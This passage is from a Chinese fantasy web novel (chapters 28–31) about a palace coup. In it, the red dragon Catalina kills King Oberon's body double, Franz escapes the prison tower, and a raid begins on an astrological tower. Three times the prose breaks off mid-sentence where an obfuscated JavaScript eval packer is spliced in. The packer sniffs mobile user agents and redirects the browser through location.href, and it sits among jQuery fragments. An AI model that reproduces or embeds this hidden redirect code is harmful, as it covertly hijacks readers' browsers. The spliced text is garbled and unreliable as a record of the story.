奥伯伦脸上的肌肉抽搐了几下,他还想说些什么,却听见塞莱斯特开口了。
“我尊敬的陛下,我敬爱的兄长。”塞莱斯特缓步向前,她高瘦、阴沉,像一块怪异的树在这花团锦簇的王宫里被人为地忽视了太久太久。在很长的一段时间里,她不允许向上,于是她向下向外扎根,树的根很深,很长,撬动了这座大花园看似牢固的根基。
“格兰德城人的情绪确实激动,但情有可原,”塞莱斯特走上台阶,抽出佩剑直指奥伯伦的心口,“我可以就这样将你送进死亡的怀抱,但这太轻易了。你应该为你所做的一切付出代价。”
她一手握紧佩剑,一手从身上掏出一沓卷章:“这一份,是你借‘行赏’选拔的名头从大肆收敛的财务清单。你一边信誓旦旦地保证这些财物将会当作奖赏赠予归来的勇士,一边命你的仆从将它们收入你自己的私库,然后封了几个不值当的名头使他们感激涕零,又让他们向下收敛封地上的财物。
“这一份,是你‘行赏’背后的真实目的。你想要杀死红龙,一方面占据龙穴里的财宝,平衡国库收支,一方面盯上了维洛兰王国新开采的矿产,想要通过白岛出兵。你大可以巧言令色,说你只不过是手段激进,实际都是为了拜里科斯着想,毕竟你下的这些命令没有实物证明。
“但你错了,我亲爱的兄长。你是很谨慎,可你忘了,做过的事再小心隐蔽都会留下它的痕迹,再狡猾的老鼠也会被月光照出它途径过哪些地方。你想要占据龙穴的财宝,于是粉饰‘行赏’,骗来倒霉蛋为你卖命——知情者冒险刺杀一头强壮的龙,不知情者为选上奉出大量钱财,还成为刺杀的幌子。
“你想要维洛兰的矿产,不是因为担心拜里科斯缺乏贵重金属,只是你听说那神奇的新矿能带来治愈疾病的奇效——你老了,可你的野心没老,你没有子嗣,又不甘心让我登上王座,更惧怕死亡,所以你甘愿拖着拜里科斯与你的身体一同衰败下去,也不愿王座由别人登上!”
话毕,塞莱斯特一扬手,卷章呼啦啦地漫天飞舞。
弗兰茨伸手从空中接到一张,打开一看,是奥伯伦想要杀死卡塔利娜的确凿证据。下一瞬,他的手中一空,只见卡塔利娜抽走了卷章,她随意地扫视了两下,便穿过神色紧张、交头接耳的人群,向前走去。
“原来,你真的想要杀我——”她的声音不大,花园里的每一个人却听得一清二楚,“你想要杀我,还想要占据我的财宝。”
在众人惊骇的目光中,卡塔利娜赤红的头发随风舞动,她每向前一步,便有赤色的火焰从她脚底升起。当她走至台阶上时,脸颊两侧已浮出细细的鳞片,一身衣服已经被烈火燃尽,红鳞覆盖全身。
随着卡塔利娜的脚步,天边风声猎猎,天色骤然一暗,有隐隐的闷雷声在云层深处滚动,一场突如其来的风暴即将到来——
“就凭你,还想杀我。”
卡塔利娜轻声道,嘴角咧出一个残忍的微笑,她不避两柄利剑,伸手掐住奥伯伦壮硕的脖子,径直将他提了起来。
“啊!她这是要做什么!?”
“这实在是……谁都没有想到陛下居然会做这种事情……”
“她要弑君吗?”
“按照殿下的意思,我们以往‘行赏’的使者,有不少是枉死的吗?”
卡塔利娜的举动实在惊人,她的动作又快,罗斯与塞莱斯特还未来得及阻止她,奥伯伦就已经被她掐得两眼暴突,唇角溢出白沫!
“这还不到时候!”
卡塔利娜并不理会塞莱斯特厉声呵斥,她冷笑一声,手下一个用力,奥伯伦的脖子就这样被她扭断了。
奥伯伦只来得及“嗬嗬”两声,抽搐的双臂颓然落下,卡塔利娜提着他的手臂一甩,他的身体便“砰”一声掉在了地上。
随着这一声响,众人如同落了冰块的油锅,噼里啪啦地吵个不停。
在这议论纷纷中,塞莱斯特难以置信地看向卡塔利娜,声音又低又急:“你在做什么?!这和我们约定的不一样!”
“约定?我们可没有做过什么约定。”卡塔利娜侧头瞥向塞莱斯特,哼笑道,“我们之前是见过一面,见面可不等于约定。确实,你与他不同,但在希望我死方面,却很一致——因为一头龙对你们而言,始终是一个威胁。”
她低头看了奥伯伦的尸体一眼,一捧烈火从他的心口处猝然升起。火势来得迅猛,不一会儿,火焰遍布全身,整具尸体熊熊燃烧起来。
“但我不会杀你,这并非我的仁慈之心,我只是在遵循我的母亲对拜里科斯人最后一点的善意,”卡塔利娜直视着塞莱斯特,身侧的烈焰映照着她的脸,显得残忍有诡谲,“格兰德城是我母亲为梅兰妮尔·杜兰德而建,但我不需要。等我拿回我想要的东西,所有的格兰德城人都必须从我的岛屿上离开。”
两人无声对峙,奥伯伦的尸体被烧得噼啪作响,众人惶惶呆立在原地,一动也不敢动。
就在这时,一道极其轻微的炸裂声从那具烧得不成人形的尸体上发出,卡塔利娜警觉地望去,当红鳞瞬间覆盖面部的那一刻,几枚精细的金箭从烈火中射出!
锵锵!
金箭射出,被卡塔利娜收紧的鳞片纷纷折断,唯独一支金箭,竟然意外地射中了卡塔利娜的胸口——那处排列错乱的鳞片中,有一线浅浅的缝隙。
“温
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029838|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、德、米、尔——!”
卡塔利娜低头看向那枚细小的金箭,片刻,她毫不留情将其拔掉。
卡塔利娜的掌心燃起熊熊烈火,不过一瞬,金箭就已融化为一滩金水,滴滴答答顺着她的指缝往下落。
她右脚一蹬地面,腾空而起,整个平台被她蹬得往下塌陷的同时,她已在空中化作原型。
赤红的巨龙扇动着双翼,飓风袭来,将地面上的人群吹得左摇右晃,失声尖叫。
她的右前爪往下一扬,数枚龙牙降落至泥土之中,瞬息变出人形。
“找到他——”红龙的声音低沉,饱含震怒,她向她忠诚冷酷的战士下达命令,“将真正的奥伯伦·温德米尔带至我身前!”
“殿下!”
与此同时,塞莱斯特捂住一只眼睛,鲜血从她的指缝汩汩流出,她挥开扑过来的罗斯,嘶吼道:“带领你的卫队,封锁王宫!将今日现场里的所有人都关押至温底斯塔!必须将奥伯伦找出来!必须!马上!”
.
温底斯塔。
弗兰茨靠墙席地而坐,接连不断的水珠从他的耳后擦过,发出紧凑的滴答声。
一只肥硕的老鼠吱吱叫着,大胆地在地面穿梭,惊得一大群人花容失色、放声大叫。
“安静!安静!”
一个体型更加肥硕的看守站在外边,随身携带的铁棍重重地敲击在关押着众人的铁门之外,有些人还攥着栏杆,被她这么一敲,径直坐倒在地。
看守哼笑着看了那人一眼,用力甩了甩铁棍,呼呼作响。她的眼神就像剔骨刀似的刮过每个人,阴恻恻道:“如果不想它敲在你们的脑门上的话,就都给我闭嘴!”
在这里,直白的暴力永远比柔软的权势管用,这一层新关押进来的衣着光鲜亮丽的囚犯们很快就战战兢兢地闭上了嘴。
看守环视一周,这才满意地坐回她的位置。
这就是温底斯塔,一个名字听着好听,却并不是用来观光的地方。
自古以来,塔里一直关押着各种类型的□□们,甚至有所传闻,第一位在这里长久居住、一直到死的人,正是贝莉疯掉的哥哥,贝奇。
而现在,温底斯塔第一次迎来了大批量入住的客人们。
“这里太恐怖了……”
阿奇尔小声抱怨,他的姐姐急忙捂住了他的嘴,但由于温底斯塔建造的特点,这一点儿细小的声音很快就在圆柱形的塔壁间回声一般飘荡起来。
看守眼皮一掀,便精准地看向了发出声音的人。
这就是温底斯塔。
弗兰茨在读书时学习过它,但当他亲自站在这里面的时候,他才意识到这座温底斯塔的险恶之处。
为了最大限度地防止囚犯逃跑,整座塔内的牢房呈圆形分布,看守只需坐在该层中间,便可环视整层囚犯的状态,并且各个囚犯也能看清彼此在做些什么;如果有人想要逃跑,即使看守没有及时发现,同层的囚犯会出于各种扭曲的心理迫不及待地指出来。
但就算他们齐心协力从牢房里逃出来,囚犯也无法顺利离开温底斯塔。这座塔唯一的出口在塔尖,就连看守都要每日乘坐像矿工一样专门的升降装置来换班,杜绝了出逃的可能。
若没有陛下开恩赦免,温底斯塔里绝大多数人,都会在这里度过余生。
而现在——众人脸上写满了绝望,情况如此特殊,他们真的有被赦免的可能吗?
29. 第 29 章
是夜。
王宫里的一间小书房中,罗斯正替塞莱斯特包扎受伤的面部。
“您需要尽快接受治疗。”罗斯担忧道。
面部中箭与失血让塞莱斯特原本就惨淡的脸色更加苍白,她对罗斯疲惫地摇了摇头,无声示意她们现在有更重要的事情要解决。罗斯严肃地与她相望,最终还是在塞莱斯特坚定的眼神中败下阵来,两人一起看向卡塔利娜,她正背对着她们站在书房窗前。
水银一般的月光从窗外落了下来,将卡塔利娜的犄角与头发镀上一层半凝固的银,她没有说话,而是静静地俯视着窗外的一切,似乎已经冷静了许多。
但塞莱斯特与罗斯仍不敢放松警惕,现在的卡塔利娜看上去就像一座沉默的火山,她是无法熄灭的火种,翻滚的岩浆在她体内酝酿,不知何时何事会引得她暴怒。
寂静的夜色里,龙牙战士无情地翻遍了全王宫,又闯进王都内几位王族血亲与重臣的府邸中彻底搜查后,才翻到窗台上与卡塔利娜汇报结果——这里没有奥伯伦·温德米尔的身影。
夜风喧嚣,卡塔利娜的右手正搭在窗台上,听到龙牙战士汇报的结果,她下意识地一扣手——用洁白岩石修建的窗台就被她抓烂了,上面留下了五个深深的手印,就连下午凝固在她手上的金水也被压进了石头深处。
“那就向城外搜寻——”
她向不知疲倦的龙牙们发出新的指令,望着龙牙领旨远去的身影,她低声沉吟:“假如今天下午的奥伯伦是个替身,那么他很可能在之前就已经逃出去了。”
“去找到他,把他带给我——”她浅褐色的瞳孔收缩得如同针尖大小,“我会亲手杀了他。”
夜色中,卡塔利娜的红发随风飞舞,塞莱斯特则与罗斯相视一眼,都从彼此的眼神中看到了一丝凝重。
政治博弈并不是一件简单容易的事情,为此塞莱斯特掌握了人证物证,罗斯掌控了国王近卫,红龙也选择站在她们这一边。
但当她们算计毒蛇的时候,毒蛇也在暗中喷洒毒液。
奥伯伦在治国理政方面或许平平无奇,在阴谋筹划上却比塞莱斯特高上一层——在抓到他的第一时刻就必须杀死他!
塞莱斯特看着掌心结块的血,下定了决心。原本她计划通过和平政变登上王座,但现在这样的情形,奥伯伦必杀之而后快。
星辰闪烁,夜风吹彻,拜里科斯历任国王上位前都会由前任教导他们最后一课。
史书记载,贝莉将她的金杯交予女儿封存,告诫她切勿滥用无法掌控的力量;奥伯伦与塞莱斯特的父亲将骑士团的掌控权全部聚拢在他的手中,并交由奥伯伦继承。
而现在,塞莱斯特·温德米尔用一只眼睛的代价,上完了登上王座前的最后一课。
.
“我、我是财政大臣,殿下不能就这样把我和我的家人关在这里!”
“……现在是什么时候了?就算我们是囚犯,也应当有晚餐享用吧?”
温底斯塔中,有人趾高气昂,有人底气不足地发问。
而看守正端着自己的食盒大快朵颐,连一个眼神都懒得施舍。
温底斯塔内无法知道具体的时间,但弗兰茨猜测现在应该将近深夜。从下午举办宴会到现在已经过去了大半天,或许再没过多久,太阳又要升起来了。
他没有想到不到一天的时间里,意外的事情居然发生了这么多,他更不敢想象天亮之后,又会发生什么更难以置信的事。
他叹了一口气,靠在墙上试图通过闭目养神以储存精神体力,然而计划虽如此,他的思绪还是难以自抑地飘回了今天下午,王宫的珍奇花园之中。
格兰德城人的突然出现先是让众人吃了一惊,弗兰茨原以为有卡塔利娜的助力后,塞莱斯特就不需要其他的人或事助力;但格兰德城人的到来,反倒证明了即使没有卡塔利娜,今天的政变仍会发生。
卡塔利娜的发难在旁人眼里或许很突然,但在弗兰茨看来却并不出乎意料,她就是这样随心所欲——人们再在乎再重要的事情,筹谋计划好的步骤,她通通不放在眼里,奥伯伦要杀她,那么她就杀了奥伯伦以绝后患。
只是所有人都没有料到,被杀死的“奥伯伦”并不是真正的国王,被龙焰焚烧的尸体甚至爆出了杀器,中伤了卡塔利娜和塞莱斯特。
那到底是什么样的杀器,居然能伤害到身为红龙的卡塔利娜?
奥伯伦又是怎么料到他在今天就会被杀死?还是说卡塔利娜到来后他就已经设下防备,着手准备这一切了?
弗兰茨皱起眉头,他一想到扎进卡塔利娜胸口的那一支小小的金箭,心中就倍感不安。
是因为那支金箭由特殊材质打造?还是卡塔利娜胸前鳞片的缘故?
为什么那支金箭能够伤害到她?为什么——
弗兰茨顿住了,他的思绪飞回了前几天的夜晚,那时卡塔利娜还与他躺在金水仙公馆的卧房里,他们沐浴在澄明月光当中,而他一瞥而过的是卡塔利娜胸前的“伤疤”。
如果,弗兰茨的心里冒出一个大胆的猜想,如果——那道痕迹不是因为外部伤害留下的“伤疤”,而是缺失一枚鳞片导致的呢?
因为缺失了一枚鳞片,所以即使强行将心口处的鳞片聚合在一起也留下了一丝缝隙,那支细小的金箭又恰好了插进了这道缝隙之中。
是这样的吗?
看似一个没有逻辑问题的推断,但弗兰茨又想起了卡塔利娜的话。
她说,给梅兰妮尔·杜兰德鳞片的红龙不是她。
卡塔利娜不屑于说谎,那么他家中卧房里藏匿起来的那枚红龙鳞片必然不是卡塔利娜的。
然而、然而——
他在做一件事之前向来习惯将所有步骤、所有后果都推断清楚,可他的人生中发生过这么多的事,没有几件是给他机会思考明白的。
现在,他被困在温底斯塔中,有大量的时间让他推测,有足够的机会让他琢磨每一个细节,他却不愿意了。
明明证据链条缺少了一环,他却靠直觉认为,那枚鳞片一定与卡塔利娜有关。
我必须要想办法出去,我必须要出去!
弗兰茨执拗地断定,那枚赤红的鳞片,一定对卡塔利娜十分重要。
弗兰茨定了定神,认真地打量起四周。
当时在宴会场所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039144|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的人并不少,一层牢房并不能装下全部人,上下几层的牢房里都是。这些人的出身优渥,基本没有到过什么恶劣的环境,更没有挨过饿,尽管看守凶神恶煞,但疲惫与饥饿还是迫使他们骚动起来。
趁乱出逃是个好办法,但也得有门才能逃出去。弗兰茨看向和他一起被关到同一个牢房里的格里芬,一个念头从他脑海里闪过。
“你很放松。”弗兰茨的眼神落在一旁,对格里芬轻声道。
隔壁牢房的老汤普森嗓门很大,足够将他的说话内容遮盖过去:“我的小儿子——我亲爱的小儿子,这到底是怎么一回事啊,难道他就这样白白死去了吗?”
“彼此彼此。”格里芬一边回答,一边将目光和众人一起放到老汤普森身上。
“我要出去,而你一定有办法。”弗兰茨一改委婉的说话方式,开门见山。老汤普森的嚎叫带动了周围人,他们吵嚷的声音一波大于一波,但弗兰茨不知他们何时会停下,只得速战速决。
可惜对方相当会装傻,左顾右盼的样子仿佛也要开口大声喊饿:“啊,我不明白你在说什么。”
“你必须知道。”弗兰茨脱口而出的同时,暗暗惊觉卡塔利娜对他的影响,“你我都知道接下来会发生什么,你跟随‘她’,而我也有要跟随的对象。就算不是为了我,你也该为‘她’,以及你自己的将来考虑。我们虽然不站在同一条阵线上,但都有一个共同对立的对象,我不相信你愿意让你的蛰伏浪费。”
这段话让格里芬终于舍得看他一眼,两人的目光在吵闹的牢房里交锋,随着看守铁棍的敲击,纷扰的人群渐渐安静了下来。
弗兰茨面色不改,心底却泛起焦躁,在看守即将走到他们牢房门口之际,格里芬悠悠地吹出一声轻哨,斜对面以及上一层的几间牢房突然爆发出更加剧烈的骚动!
“安静!安静!”
看守怒不可遏地走过去,用铁棍拼命敲击铁门。
但也许是从前没有人敢反抗她,看守一直习惯虚握着铁棍,这样也能用更少的力气敲出更大的声音,可是现在,一个愣头青竟敢趁着铁棍敲过来的那一瞬反手将其夺了过来!
“哈哈!”青年做了一个夸张的鬼脸,将铁棍往看守的身体上甩了几下,又隔空一抛,将铁棍甩进另一个人的手中。
尖叫声,欢呼声,以及看守的怒骂声,上下几层牢房瞬间陷入了混乱中,就连许多在外极其注意礼节的人,此时也忍不住拍手称赞起来。
“听着,”混乱中,格里芬急促地对弗兰茨交代道,“你身后的便池!在它的悬空右半部分,那里藏着一道梯子。从那里往下是唯一一个能够掩人耳目出去的办法。别用那种眼神看我!别露馅了!你要是真有这个决心,你就顺着这条便池往下爬,一直爬到塔底,往你的右手边走五十五步,那里有一处松懈的砖头,搬开它们,你就可以逃出去了。”
弗兰茨闻言向后看了一眼,他们身后的便池上布满了污渍,他回头,对上格里芬戏谑的目光——他敢肯定,这目光不仅是瞧了看守的好戏,更是要瞧他的好戏。
但他别无它法,只能对格里芬稍一点头,趁着混乱时刻压低身子走向便池。
30. 第 30 章
王宫中,书房内,不仅是龙牙战士,罗斯带领的近卫队也带回搜寻无果的消息。
“奥伯伦绝不会这样放弃,蛰伏在王都之外距离太远,对他来说弊大于利,他一定还藏在城中的某个地方。”塞莱斯特紧蹙眉头,在她面前的桌子上平摊着王都的地图,她抬手圈了几个地方,让罗斯传令下去重点搜查。
“不——等等!”
塞莱斯特一句话让罗斯停下脚步,她回过头,见塞莱斯特苍白的脸上未受伤的那只眼闪过一丝精光:“去!去看看伍德是否还关押在地牢里,再去看看骑士团!查他们这几日的动向以及人员是否有变动!”
罗斯心中一惊,马上意识到什么,立刻推开书房门部署。
卡塔利娜也听到了塞莱斯特的话,她慢慢地转过身来,居高临下地看着她:“你疏漏了很多。”
直视那双明黄色的眼睛,任谁都会喉头发紧,塞莱斯特也不例外。尽管身上有伤,她还是站起身来与卡塔利娜对视,无声的交锋中,一个急促的敲门声响起,随之传来的是一个侍卫小声的劝告。
“谁在那里?”塞莱斯特猛地一回头,右手拔出佩剑,静静地走至门后。
王宫已经戒严,还有谁会在这个时候敲门?
“是我。”
一个熟悉的声音从门后传来,塞莱斯特顿了一顿,问道:“王后?”
“正是王后,塞莱斯特殿下。”侍卫回答道,“属下本想阻拦,但王后执意要来,声称她知道、知道‘那位’的踪迹。”
“那位”指的是谁,不言而喻。
塞莱斯特静静地沉思片刻,决定道:“带王后进来。”
结实的木门被推开了,一个身影闪了进来。
王后穿得正式,神情疲惫,显然已将此事考虑了许久,直至深夜都未肯睡去。
她的眼下挂着两道重重的皱纹,眼神却很坚定:“我知道他去了哪里,塞莱斯特,我知道他在哪儿。”
“你这是何意?王后,”塞莱斯特并不急着追问奥伯伦的下落,而是质疑王后的目的,“是什么让你决意背叛你的丈夫?”
“没有无缘无故的爱,也没有无缘无故的恨,对吗?塞莱斯特,”王后深深地看了她一眼,“二十年前的‘行赏’中,‘牺牲’人员的名单里有我的姐姐。虽然当时你也才十岁,但你应该没有忘记吧。”
塞莱斯特当然记得。
王后的姐姐,正是二十年前骑士团的团长。
与专弄权术的伍德不同,她是一名真正的骑士。
她有着高尚的品质,卓越的远见和忠诚友善的心,见过她的人、与她共事的人,没有不称赞的。如果说王后是皎洁沉静的月亮,那么她就是明媚灿烂的太阳。
无论是地位还是品行,她成为使团成员都是无可指摘的。然而那一年的行赏恰好在奥伯伦即位后的第二年,当时骑士团的掌控权明面上已经全部掌握在奥伯伦手中,但实际上大部分骑士团成员的心都跟随在团长身上。
面对这样的情况,正值壮年的奥伯伦自然心生不满,幸好这位优秀的团长非常适时地在“行赏”中为拜里科斯“牺牲”,他便利用这个机会将骑士团牢牢地掌控在手心。
“我最初真以为是一个意外,他安慰我,关照我,可是谁曾想……谁曾想他竟是害死她的罪魁祸首!他就是一头野兽!”想起去世多年的姐姐,王后仍控制不住地发抖,她攥着她的裙子,在上好的面料上留下了两团无法抹平的褶皱。但她很快就调整了过来,深深地吸了一口气,清楚什么事情更重要。
王后强迫自己冷静下来,声音带着一丝颤抖道:“情妇,他现在一定躲在情妇那里!”
“情妇?”塞莱斯特摇了摇头,“我们第一轮搜查的时候就已经重点搜查过他两个情妇的府邸,就连其近亲与庄园都没有错漏,他不可能在那里。”
“不,不,不是那两个,”王后快步向前,扑到桌子上的地图前,指着王都东区的秘仪星塔激动道,“他还有一个情妇!她在这儿!这个情妇的父亲正是秘仪星塔的大观星师,他们的苟合离不开观星师的推波助澜,所以几乎没有人能知道那个情妇的存在!”
“那你又是怎么知道的?”
“那个情妇,”王后咬牙切齿,“那个情妇生了一个孩子,奥伯伦这个畜生对她竟有几分真情,请了王都最好的医师照顾他们。但他不知道……不知道那位医师曾受过我姐姐的照拂,为了报答她的恩情,那名医师冒死将消息传给了我。”
王后的最后一段话如同一击重锤,塞莱斯特心中大震,情急之下拽住王后的手臂:“王后此言当真?”
“我怎么会在这种事上骗你?”王后转过身来,“你我都知道这个孩子意味着什么。”
.
这注定是个不平静的夜晚,弗兰茨强忍恶臭顺着梯子爬到了温底斯塔的底部,他按照格里芬的话往右走了五十五步,果真在那里发现一个看似严密实则松动的墙角。
他趴在地上,月光从缝隙里钻了进来,让他看清了外面的形势——
温底斯塔通常由一组两支三人卫兵同时围着塔底反方向巡逻,一日三组,入口及内部则有更严密的部署。
可在此时,弗兰茨发现一个国王近卫从远处急匆匆地跑来,与两组卫兵商讨后,便带着其中一组卫兵急匆匆地朝另一个方向赶去。
这一定发生了什么!
弗兰茨按下心中多余的情绪,待到另一组留下来继续巡逻的卫兵远去后,他便奋力移开墙角的砖石,从狭小的洞口爬了出来。
他不敢在原地多做停留,探查四周无人后朝家跑去。
今夜万里无云,月光极盛,按理说这样的天气应该见不得几颗星星,但出人意料的是星光同样璀璨——这是一个极其适合观星的日子。
深紫色的天空下,月轮流淌着银浆,搅动着漫天星光,将王都笼罩在一片神秘当中。
可惜弗兰茨无暇欣赏,他的家在王都东部,因为和驭龙女士沾亲带故,所以当时他的父亲得以用较为划算的价格这个在繁华的地段购置了一套很不错的房子,并从他父亲的父亲手中得到了一些本不会继承给他的田产。
这样的生活虽不能与王侯相较,却也能过得十分阔绰。但弗兰茨的父亲光有一张美丽的脸庞,性格却十分乖张;他借了妻子母亲的好,却又对此耿耿于怀。在妻子离开后,他的性情更是没了约束,经济方面自然入不敷出,早在弗兰茨参与“行赏”之前,家中的田产已被抵押得差不多了,仆人更是借着许多名头赶走了不少。
因此,在知道弗兰茨成为使团成员后,他既为他自己没有多少资产给大儿子拼来一个成员名额恼怒,又觉得弗兰茨是沾了妻子母族的光而不忿。
但坏处何尝没有优点?家中仆人没有几个,管家更是年迈,父亲与兄长讨厌狗这种毛绒绒的畜生——而他们自己现在也被困在温底斯塔里,于是现在,弗兰茨能够很轻松地翻进家里不惊动其他人。
他没敢点燃烛火,借着月光,静悄悄地上了楼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049388|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回到自己房间,轻轻地扭开房门,离开了一段时间,房间设施没有变化。但此刻站在这里,弗兰茨却觉得“行赏”前的那些日子已经离他远去,对于过去,他甚至没有足够深的记忆点让自己从中规中矩的生活中回忆起“本该如何”的日常。
他回忆不起,也不再怀念。弗兰茨抹掉了额前的河水,刚刚他为了不让自己的行踪暴露,顺着王都中的一条小河游回这里,同时也借河水冲掉一身怪味。
打开衣橱,搬开放在衣橱里的箱子,弗兰茨在最底层的木板上摸索。很快,“咔”的一声响,看似实心的木板弹起来了一角。移走木板,下面露出一个小小的空间,弗兰茨伸手从中取出一个不起眼的旧盒子。
解开上面复杂的锁扣,掀起盖子,一枚赤红的鳞片静静地躺在上面,弗兰茨无需靠近就能感受到它散发出来的热量。
这让浑身湿漉漉冰凉凉的弗兰茨小小地叹慰了一声,随后他将那枚鳞片托在掌心里。
与最开始找到鳞片时不同,此刻它的温度要高上不少,暖洋洋的像一小捧火种落在他的手心。
它的样子也有了细微的变化,这并不是指它的形状,而是它的颜色、它的形态。之前这枚鳞片让人一看便知道是某种生物的“鳞片”,可现在它就像、应该说它就是一块小小的赤色晶石。
借着耀眼的月光,弗兰茨甚至能清晰地看见有赤色的光华在其间流转。
是因为有龙在附近吗?
对于这奇异的现象,弗兰茨不敢武断,但他觉得这必然和卡塔利娜存在某种未知的联系,这枚鳞片或许就是她想要的东西。
事不宜迟,他将鳞片收好又快速地换了一身轻便的衣服,现在,应该到哪里找她呢?
.
“所以,他现在在那个星塔里?”站在一旁的卡塔利娜打破了书房内的寂静。
她走到书桌前,王后下意识退开了两步为她让路。卡塔利娜点了点地图上标记着秘仪星塔的位置,尖利的指甲便将厚实的羊皮卷戳出几个小洞。
她不清楚人类地图的方向,转头看向王后:“这是在——”
“秘、秘仪星塔在王都的东区。”王后怔了一下,颤颤巍巍地回答。
卡塔利娜点点头,转身走向窗台——显然她是要化作原形直接飞过去。
“你不能这样,”塞莱斯特上前两步急促道,“奥伯伦不知道我们已经知晓他们的位置,你贸然飞过去容易打草惊蛇。”
卡塔利娜哼笑了一声,显然是不把可能存在的埋伏放在眼里:“当烈火将其焚烧殆尽,他们自然也就没有办法算计我了。”
那周围无辜的居民怎么办?
更何况,塞莱斯特皱起眉头,道:“你忘记今天下午发生过的事情了?你怎么能确定你烧死的就是奥伯伦?别到时候一把火烧过去,烧的只是一个替身,还把证据线索都烧没了。”
卡塔利娜皱起眉头,但她不得不承认塞莱斯特的一番话确实戳中她的内心。她不再说话,也没再准备化为龙形。
书房里突然陷入了一片沉寂,片刻,塞莱斯特清了清嗓子,做出决策:“准备出发吧。”
换上普通卫兵的衣服,一行人朝秘仪星塔赶去。因为是夜袭,塞莱斯特没有带上罗斯,而是让她带领一小支近卫往王都北区巡逻以混淆视听。
至于几个格兰德城人,还有其他像格里芬一样的手下,奥伯伦对他们并不熟悉,骑士团的成员也认不出他们,正好可以随她一同前往秘仪星塔。
31. 第 31 章
一行人趁着夜色前行,在去往秘仪星塔的路途中,佩斯有些茫然。
她看着卡塔利娜的背影,茫然愤怒不知该往何处去。
原来,原来这个所谓的“向导”就是那头他们要“行赏”的红龙。
而这头红龙,在他们得知一切阴谋之前,就已经与塞莱斯特殿下达成了某种协议。
佩斯并不傻,相反她的头脑灵活,仅凭今日所见,她便推断出“行赏”这件事的背后藏着几方势力。塞莱斯特殿下所谓的替他们伸张公正,实际上是在替她自己谋划——她也是一位看着他们去送死的旁观者。
佩斯聪敏,同时性格执拗,这让她在完成一件事上往往有着坚韧不拔的意志,也使她对事情的真相上有着近乎执着的追求,导致她极易陷入情绪的泥沼。因为弟弟的死,她先是怨上了红龙,继而又恨上了奥伯伦这个罪魁祸首,直到现在,她觉察到自己跟随的并非纯粹正义的一方,而是一位在向奥伯伦复仇的同利益者,一位目睹她弟弟死去的旁观者。
这让她茫然,也让她感到无可奈何。
月与星的光辉照亮了她前行的路,也让她生出许多念头。
步履匆匆间,一只手臂不经意地擦过她,佩斯转过头,在盔甲之下她瞧见亨特坚定的双眼。她对她摇了摇头,她明白她的意思,将奔腾的情绪暂时都收了起来。
一行人动作迅速,很快,他们就到达秘仪星塔的门前。
队伍以例行检查的名义打发了守门人进入秘仪星塔。
秘仪星塔名字虽带有一个“塔”字,但实际上并不单只是一座以供观星的高塔,而是分为三个部分:回响大厅、旋转镜廊与千轨星台。
众人穿过空荡荡的回响大厅,仔细搜寻了用以启蒙学徒的房间和处理公务的办公场所,并没有发现什么异常。
于是他们离开向大众公开的回响大厅,继续往深处探寻。旋转镜廊与千轨星台平日不向大众开放,仅允许观星师与相关的工作者进出,因此如果奥伯伦真的藏在秘仪星塔,那么他躲在旋转镜廊或千轨星台的可能性则比回响大厅大得多。
众人来到一扇高至穹顶的石门前,石门的边缘四周雕刻着繁密的花纹与人像,花纹立体而诡谲,人像的形态各异逼真,男女老少皆有,它们正伸出一只只手,仿佛要去触碰石门的中央——那正是一幅用宝石与黄金构造的巨大星图。
璀璨的宝石模拟数不胜数的星子,黄金被锻造成金线描绘星辰的轨迹,诡异与神圣在这扇石门上并存,众人并不惊叹,而是越发谨慎。
在塞莱斯特眼神示意下,其中几人站了出来,使尽全身力气才将石门缓缓推动。
这让塞莱斯特沉下了脸色——卫兵尚且拼尽全力,那么平时那些观星师又是怎么推开这扇大门的?
疑虑中,整扇大门被完全推开,露出旋转镜廊的真实面貌。
尽管有所准备,众人还是呆愣在原地——那扇雕刻着花纹与人像,描绘着绚烂星图的巨大石门不过是拉开华丽的帷幕,旋转镜廊才是真正的重头戏。
踏进这长长的走廊,直叫人分不出上下左右,那是因为上至天花穹顶下至行走的地面,目光所及都是由菱形的镜子构成的,一千片、一万片,镜面交接起伏,边缘严丝合缝,没有拼贴的痕迹。
他们就像走入水银镜的内部,四周都是波光粼粼的,光反射出光,人影叠着人影,比迷宫更让人寻不到方向,比梦境更让人觉得空灵。不仅如此,每一片镜面上都点缀着许多极亮的宝钻,因此即便现在是夜晚,整条旋转镜廊璀璨迷幻如星河。走着走着,就有人重心不稳摔倒在地。
他们会藏匿在这里吗?这条旋转镜廊是不是他们反击的最佳地点?
塞莱斯特只有一只眼睛看清前行的道路,她走得头晕目眩、跌跌撞撞,实在不敢松懈半分。
